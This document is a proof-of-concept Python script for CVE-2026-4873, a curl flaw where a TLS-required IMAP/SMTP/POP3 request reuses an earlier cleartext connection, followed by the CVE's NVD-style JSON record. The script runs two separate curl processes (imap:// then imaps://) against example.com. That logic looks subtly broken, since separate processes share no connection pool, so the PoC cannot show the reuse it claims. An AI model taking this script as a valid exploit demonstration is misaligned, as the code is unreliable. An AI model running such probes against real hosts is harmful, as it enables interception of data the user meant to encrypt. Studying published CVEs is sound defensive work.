CVE-2026-4873

#!/usr/bin/env python3 """ PoC for CVE-2026-4873 (curl connection reuse vulnerability) This script demonstrates the logic where an encrypted request might reuse a plaintext connection. Note: This requires a vulnerable version of curl and a test server. """ import subprocess import time # Target host (e.g., a local test IMAP server) TARGET_HOST = "example.com" print(f"[*] Testing CVE-2026-4873 against {TARGET_HOST}") # Step 1: Initiate a plaintext connection (IMAP) # This adds a plaintext connection to the pool print("[+] Step 1: Sending plaintext IMAP request...") try: # Using a timeout to keep the connection open in the pool context subprocess.run(["curl", "-v", f"imap://{TARGET_HOST}"], timeout=5) except subprocess.TimeoutExpired: pass # Step 2: Initiate an encrypted request (IMAPS) to the same host # In a vulnerable version, curl might reuse the plaintext connection from Step 1 print("[+] Step 2: Sending encrypted IMAPS request (should be TLS, but might reuse plaintext)...") try: # Monitor network traffic to see if data is sent in cleartext result = subprocess.run(["curl", "-v", f"imaps://{TARGET_HOST}"], capture_output=True, text=True) print(result.stdout) print(result.stderr) except Exception as e: print(f"Error: {e}") print("[*] Check network traffic (Wireshark/tcpdump) to verify if TLS was bypassed.")

{"cve": {"id": "CVE-2026-4873", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-05-13T13:01:55.893", "lastModified": "2026-05-14T13:45:11.407", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability exists where a connection requiring TLS incorrectly reuses an\nexisting unencrypted connection from the same connection pool. If an initial\ntransfer is made in clear-text (via IMAP, SMTP, or POP3), a subsequent request\nto that same host bypasses the TLS requirement and instead transmit data\nunencrypted."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.20.0", "versionEndExcluding": "8.20.0", "matchCriteriaId": "50906082-180F-4E8B-A3E5-AC2C14B54B89"}]}]}], "references": [{"url": "https://curl.se/docs/CVE-2026-4873.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://curl.se/docs/CVE-2026-4873.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory"]}, {"url": "https://hackerone.com/reports/3621851", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/29/7", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch", "Third Party Advisory"]}]}}